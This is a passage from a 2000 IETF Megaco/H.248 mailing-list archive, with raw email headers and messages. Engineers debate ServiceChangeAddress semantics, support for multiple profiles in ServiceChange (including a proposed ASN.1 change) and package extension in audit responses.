          <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; since I sent the
          message.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
          &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; Posing
          the question slightly differently, if the</FONT> <BR><FONT size=2>&gt;
          &gt; &gt; &gt; ServiceChangeAddress</FONT> <BR><FONT size=2>&gt; &gt;
          &gt; &gt; &gt; &gt; &gt; can do what ServiceChangeMid can do, so why
          have two</FONT> <BR><FONT size=2>&gt; &gt; &gt; mechanisms?</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; The only
          difference would be the MGs actions.&nbsp; If you used</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
          ServiceChangeAddress,</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
          &gt; &gt; the MG would not send a new ServiceChange command to</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; the new address.</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; If you used
          ServiceChangeMid, it would.&nbsp; The end result</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; would be the</FONT> <BR><FONT size=2>&gt;
          &gt; &gt; &gt; &gt; &gt; same.</FONT> <BR><FONT size=2>&gt; &gt; &gt;
          &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
          &gt; &gt; We can:</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
          &gt; &gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Explicitly
          disallow ServiceChangeAddress from</FONT> <BR><FONT size=2>&gt; &gt;
          &gt; &gt; being used to</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
          &gt; &gt;
          &gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
          change anything but IP Port when </FONT><BR><FONT size=2>&gt; used
          with IP</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
          &gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Get rid of one of
          the two of them</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
          &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; I
          favor the former, as that is easiest, is most</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; consistent with</FONT> <BR><FONT size=2>&gt;
          &gt; &gt; &gt; &gt; &gt; &gt; history, and makes the most sense to
          me.&nbsp; I'll </FONT><BR><FONT size=2>&gt; note that what</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; we call
          ServiceChangeAddress used to be "port".&nbsp; It got</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; changed when we realized
          "port" wouldn't make </FONT><BR><FONT size=2>&gt; sense if it
          was</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; not an
          IP transport.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
          &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
          Brian</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
          &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
          -----Original Message-----</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
          &gt; &gt; &gt; &gt; From: Flemming Andreasen [<A
          href="mailto:fandreas@cisco.com">mailto:fandreas@cisco.com</A>]</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Sent:
          Tuesday, August 29, 2000 7:37 PM</FONT> <BR><FONT size=2>&gt; &gt;
          &gt; &gt; &gt; &gt; &gt; &gt; To: Rosen, Brian</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Cc:
          MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt; &gt;
          &gt; &gt; &gt; &gt; &gt; &gt; Subject: Re: Supplying only a port on a
          </FONT><BR><FONT size=2>&gt; ServiceChangeAddress</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; "Rosen, Brian"
          wrote:</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
          &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
          &gt; I think the issue is that you can have the same MGC</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; have multiple</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; IP
          addresses.&nbsp; You accept the association, but</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; change the address.</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Say, a pool of
          servers appearing to be one MGC.</FONT> <BR><FONT size=2>&gt; &gt;
          &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
          &gt; &gt; &gt; &gt; &gt; I'm not sure I fully understand what an
          </FONT><BR><FONT size=2>&gt; association is then.</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; What's the</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
          difference/relationship between the association</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; address and the</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; ServiceChangeMgcId
          (which may itself contain an </FONT><BR><FONT size=2>&gt; address
          or</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
          indirectly</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
          &gt; refer to a number of addresses through DNS) ?</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; -- Flemming</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
          Brian</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
          &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
          &gt; &gt; -----Original Message-----</FONT> <BR><FONT size=2>&gt; &gt;
          &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; From: Flemming Andreasen [<A
          href="mailto:fandreas@cisco.com">mailto:fandreas@cisco.com</A>]</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
          Sent: Tuesday, August 29, 2000 6:38 PM</FONT> <BR><FONT size=2>&gt;
          &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; To: Rosen, Brian</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Cc:
          MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt; &gt;
          &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Subject: Re: Supplying only a
          port on a</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
          ServiceChangeAddress</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
          &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
          &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
          &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
          &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt;
          &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; "Rosen, Brian"
          wrote:</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
          &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
          &gt; &gt; &gt; &gt; Suppose all you want to specify in a</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; ServiceChangeAddress</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; is
          a port number</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
          &gt; &gt; &gt; &gt; &gt; that is, the IP address doesn't change, but
          the</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; port does.</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
          &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
          &gt; &gt; &gt; The ABNF sez:</FONT> <BR><FONT size=2>&gt; &gt; &gt;
          &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; serviceChangeAddress =</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; ServiceChangeAddressToken EQUAL
          VALUE</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
          &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
          &gt; &gt; &gt; &gt; &gt; This is because it could be IP, ATM, FR,
          MPLS....</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
          &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
          &gt; &gt; &gt; &gt; &gt; &gt; The example shows just a port
          number.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
          &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
          &gt; &gt; &gt; &gt; Actually, I thought that's all that would
          be</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; allowed in the</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
          case of IP. If</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
          &gt; &gt; &gt; &gt; not, how can it be within the "context of
          the</FONT> <BR><FONT size=2>&gt; &gt; &gt; association</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
          currently being</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
          &gt; &gt; &gt; &gt; negotiated", and how would it then relate
          to</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
          ServiceChangeMgcId</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
          &gt; ?</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
          &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
          &gt; &gt; &gt; -- Flemming</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
          &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
          &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt;
          &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Should
          that be legal?&nbsp; Should you have to</FONT> <BR><FONT size=2>&gt;
          &gt; &gt; specify the IP</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
          &gt; &gt; address</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
          &gt; &gt; &gt; &gt; &gt; &gt; as x.x.x.x:p?</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
          &gt; Brian</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
          &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
          &gt; &gt; &gt; &gt; --</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
          &gt; &gt; &gt; &gt; &gt; &gt; Flemming Andreasen</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Cisco
          Systems</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
          &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
          &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
          &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
          &gt; &gt; --</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
          &gt; &gt; Flemming Andreasen</FONT> <BR><FONT size=2>&gt; &gt; &gt;
          &gt; &gt; &gt; &gt; &gt; Cisco Systems</FONT> <BR><FONT size=2>&gt;
          &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
          &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
          &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; --</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; Flemming Andreasen</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; Cisco Systems</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
          &gt; &gt; --</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; Flemming
          Andreasen</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; Cisco
          Systems</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;</FONT> <BR><FONT
          size=2>&gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; </FONT><BR><FONT
          size=2>&gt; --</FONT> <BR><FONT size=2>&gt; Flemming Andreasen</FONT>
          <BR><FONT size=2>&gt; Cisco Systems</FONT> <BR><FONT size=2>&gt;
          </FONT><BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt;
        </FONT></P></BLOCKQUOTE></BLOCKQUOTE></BLOCKQUOTE></BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C018F3.C1FE1E30--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Sep  7 15:06:13 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA24227
	for <megaco-archive@LISTS.IETF.ORG>; Thu, 7 Sep 2000 15:06:12 -0400 (EDT)
Received: from standards (47.234.32.16:1925) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB91424@standards.nortelnetworks.com>; Thu, 7 Sep 2000 13:49:47 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 22972 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 7 Sep 2000 13:49:47 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB91423@standards.nortelnetworks.com>; Thu, 7 Sep 2000 13:49:46
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id OAA03103; Thu, 7 Sep 2000 14:02:46 -0400 (EDT)
Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com
          [169.144.2.220]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id OAA02106; Thu, 7 Sep 2000 14:02:48 -0400 (EDT)
Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <R69XHZLG>; Thu, 7 Sep 2000 14:02:47 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF67882B@whq-msgusr-02.pit.comms.marconi.com>
Date:         Thu, 7 Sep 2000 14:02:36 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Profiles in Service Change
X-To:         Christian Groves <Christian.Groves@ericsson.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

I proposed a way (not a wonderful way, but a way) to have
an MG that has multiple profiles find an MGC to serve it.
It won't work if you literally mean supporting two profiles
at the same time.  I don't think that is a problem worth
solving at this time.  Your example - VoDSL and BICC was
an unfortunate choice, because you can predict my answer:
        Neither VoDSL, nor BICC should be profiles

If someone wanted to define a profile for a residential
gateway with a DSL uplink supporting POTS lines, I think that
would be a useful profile.  If someone wanted to define
a profile for a gateway that switched AAL2 subchannels from LES Phase II
VoDSL devices into a distributed Class 5 VoATM
environment, I think that would be a useful profile.
The idea that anything related to BICC (an MGC-MGC protocol)
should be visible in a Megaco/H.248 profile strikes me
as a very bad idea.

Brian

> -----Original Message-----
> From: Christian Groves [mailto:Christian.Groves@ericsson.com]
> Sent: Wednesday, September 06, 2000 7:39 PM
> To: Rosen, Brian
> Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Profiles in Service Change
>
>
> G'Day Brian,
>
> I think you've proved my point also. There are going to be multiple
> profiles developed and the MSF won't be the only body in the world
> having the mandate to do protocol definition.
>
> Has John pointed out in email perhaps my example wasn't clear. By
> mentioning SIP/H323/ISUP I was more alluding to the applications that
> these would support. The MG should have no knowledge of the
> Call Control
> Protocol but it was support the services that these Call Control
> Services provide.
>
> The solution you propose still doesn't get over the case where the MG
> needs to use 2 profiles. ie. ISUP/BICC Services on one side and VoDSL
> access on the other side.
>
> Cheers, Christian
>
> "Rosen, Brian" wrote:
> >
> > Actually, except for the unfortunate plan to develop an
> > profile for BICC, I think you are proving my point.
> > A trunk gateway conforming to the MSF Trunk Gateway Profile
> > could be used by an MGC that used any of your listed protocols
> > to communicate with another MGC.  The idea that the MG should
> > have to know what the interMGC protocol is strikes me
> > as a VERY bad idea.
> >
> > The IPphone is an MG profile, and a phone conforming to the
> > Ipphone profile could be used with an MGC that used H.323,
> > SIP, BICC or other interMGC protocols.
> >
> > I do believe that there will be some "private" profiles.
> > A carrier for example, might develop a profile, and demand
> > that vendors conform to it.  That might lead a vendor to
> > support more than one profile in an MG, but I suspect that
> > such use will depend on a lot of provisioning anyway, and
> > will thus not be a problem for the MG.  I also suspect there
> > will be a couple of competing profiles for common gateway
> > types, which might cause some confusion for a while.
> >
> > Finally, I suspect that many vendors will have private profiles
> > which would make use of some special capabilities, but are otherwise
> > supersets of a more "standard" profiles.  If such
> > vendors can get MGCs to support them, fine.  Otherwise
> > such profiles will not fare well in the market.
> >
> > One way to get around the limitation is to try to get
> > service using the most "featurefull" profile.  If you fail
> > to find an MGC that can serve that profile, try again with
> > a different profile.
> >
> > Brian
> >
> > > -----Original Message-----
> > > From: Christian Groves [mailto:Christian.Groves@ericsson.com]
> > > Sent: Wednesday, September 06, 2000 12:36 AM
> > > To: Rosen, Brian
> > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Re: Profiles in Service Change
> > >
> > >
> > > G'Day Brian,
> > >
> > > So does that mean that nobody can make an MG which
> supports more than
> > > one profile? :-)
> > >
> > > This seems to be a pretty big limitation to me. I know
> > > several companies
> > > are developing MGs that are capable of being used in many
> different
> > > scenarios. If one MGC can support H323-SIP, Sip-BICC,
> BICC-ISUP, VoDSL
> > > Access, IpPhone, BICC-3gPP and the permutations of these I
> > > don't see why
> > > the MG can only support one profile. I don't see that the
> > > development of
> > > one profile to support all these possibilities is realistic
> > > but I do see
> > > that a MG could support as these different accesses.
> > >
> > > In the real world MGs will support multiple profiles and I
> > > think we need
> > > to give advise in the Implementor's guide how this fits
> in with the
> > > limited profile mechanism we have in H248v1.
> > >
> > > Cheers, Christian
> > >
> > > "Rosen, Brian" wrote:
> > > >
> > > > I do NOT consider it to be an error, and I think the whole idea
> > > > of Profile is that an MG implements one.  The MGC, of course,
> > > > can implement many (if it serves several kinds of gateways).
> > > >
> > > > While such a restriction could lead to lots of private profiles,
> > > > it could also lead to a few commonly implemented profiles.
> > > > The package mechanism is a wonderful thing, but it leads to
> > > > lots of options, which leads to incompatible MGs and MGCs.
> > > > Profiles are the way to group options into implement able sets
> > > > so that MGs and MGCs can interoperate.
> > > >
> > > > If you have multiple profiles, then you might as well just
> > > > have no profiles - the ServiceChange could return the
> package list.
> > > >
> > > > Brian
> > > >
> > > > > -----Original Message-----
> > > > > From: Christian Groves [mailto:Christian.Groves@ERICSSON.COM]
> > > > > Sent: Monday, September 04, 2000 8:58 PM
> > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > Subject: Profiles in Service Change
> > > > >
> > > > >
> > > > > G'Day all,
> > > > >
> > > > > I discussion on another email exploder (MSF) it was pointed
> > > > > out that the
> > > > > ServiceChange only supports one profile to be returned. I
> > > would have
> > > > > thought that a MG could support more than one profile.
> > > > >
> > > > > Do people consider this to be an error to be updated in the
> > > > > implementor's guide?
> > > > >
> > > > >
> > > > > If so the following changes probably would be necessary.
> > > > >
> > > > > 7.2.8 ServiceChange
> > > > > The optional ServiceChangeProfile parameter specifies the
> > > Profile[/s]
> > > > > (if any) of the protocol supported.  The
> > > ServiceChangeProfile includes
> > > > > the version of the profile supported.
> > > > >
> > > > > A.2
> > > > > ServiceChangeParm ::= SEQUENCE
> > > > > {
> > > > >         serviceChangeMethod     ServiceChangeMethod,
> > > > >         serviceChangeAddress    ServiceChangeAddress OPTIONAL,
> > > > >         serviceChangeVersion    INTEGER(0..99) OPTIONAL,
> > > > > >>      serviceChangeProfile    SEQUENCE OF
> > > > > ServiceChangeProfile OPTIONAL,
> > > > >         serviceChangeReason     Value,
> > > > >         serviceChangeDelay
> INTEGER(0..4294967295) OPTIONAL,
> > > > >                                     -- 32 bit unsigned integer
> > > > >         serviceChangeMgcId      MId OPTIONAL,
> > > > >         timeStamp               TimeNotation OPTIONAL,
> > > > >         nonStandardData         NonStandardData OPTIONAL,
> > > > >         ...
> > > > > }
> > > > >
> > > > > ServiceChangeResParm ::= SEQUENCE
> > > > > {
> > > > >         serviceChangeMgcId      MId OPTIONAL,
> > > > >         serviceChangeAddress    ServiceChangeAddress OPTIONAL,
> > > > >         serviceChangeVersion    INTEGER(0..99) OPTIONAL,
> > > > > >>      serviceChangeProfile    SEQUENCE OF
> > > > > ServiceChangeProfile OPTIONAL,
> > > > >         ...
> > > > > }
> > > > >
> > > > > B.2
> > > > > >>      serviceChangeProfile = ProfileToken EQUAL NAME
> > > SLASH Version
> > > > >
> > > > >
> > > > > Cheers, Christian
> > > > >
> > >
> > >
>
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Sep  7 15:06:15 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA24236
	for <megaco-archive@LISTS.IETF.ORG>; Thu, 7 Sep 2000 15:06:14 -0400 (EDT)
Received: from standards (47.234.32.16:1925) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB91447@standards.nortelnetworks.com>; Thu, 7 Sep 2000 13:56:35 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 23016 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 7 Sep 2000 13:56:35 -0400
Received: from mars.hss.co.in (202.54.26.197:51762) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB91446@standards.nortelnetworks.com>; Thu, 7 Sep 2000
          13:56:34 -0400
Received: from sandesh.hss.hns.com (sandesh [139.85.242.35]) by mars.hss.co.in
          (8.10.0/8.10.0) with SMTP id e87IATh25651 for
          <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Thu, 7 Sep 2000 23:40:29 +0530
          (IST)
Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3  (733.2 10-16-1998))  id
          65256953.0062D47E ; Thu, 7 Sep 2000 23:29:29 +0530
X-Lotus-FromDomain: HSS
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Message-ID:  <65256953.0062D411.00@sandesh.hss.hns.com>
Date:         Thu, 7 Sep 2000 23:34:40 +0530
Reply-To: bmbabu@HSS.HNS.COM
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Madhu Babu <bmbabu@HSS.HNS.COM>
Subject:      Base package and derived packages.
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

If in Audit capablity  command, event descriptor is audited and if the
termination supports Package P1..which extends package P0..does the response
includes the events present in P0 aswell......if events in package P0 are also
included, does the events be repeated when another P2 package(also supported by
the termiantion) also extends P0?
-Madhubabu


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Sep  7 16:25:45 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA26380
	for <megaco-archive@LISTS.IETF.ORG>; Thu, 7 Sep 2000 16:25:44 -0400 (EDT)
Received: from standards (47.234.32.16:3005) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB914C5@standards.nortelnetworks.com>; Thu, 7 Sep 2000 16:10:33 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 23180 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 7 Sep 2000 16:10:33 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB914C4@standards.nortelnetworks.com>; Thu, 7 Sep 2000 16:10:23
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id QAA16753; Thu, 7 Sep 2000 16:23:17 -0400 (EDT)
Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com
          [169.144.2.220]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id QAA09637; Thu, 7 Sep 2000 16:23:15 -0400 (EDT)
Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <R69XH5JT>; Thu, 7 Sep 2000 16:23:14 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C01909.67CF1AC0"
Message-ID:  <4FBEA8857476D311A03300204840E1CF678831@whq-msgusr-02.pit.comms.marconi.com>
Date:         Thu, 7 Sep 2000 16:22:55 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Supplying only a port on a ServiceChangeAddress
X-To:         Tom-PT Taylor <taylor@nortelnetworks.com>,
              Bharat Kaul <bharat@trillium.com>,
              Flemming Andreasen <fandreas@cisco.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C01909.67CF1AC0
Content-Type: text/plain;
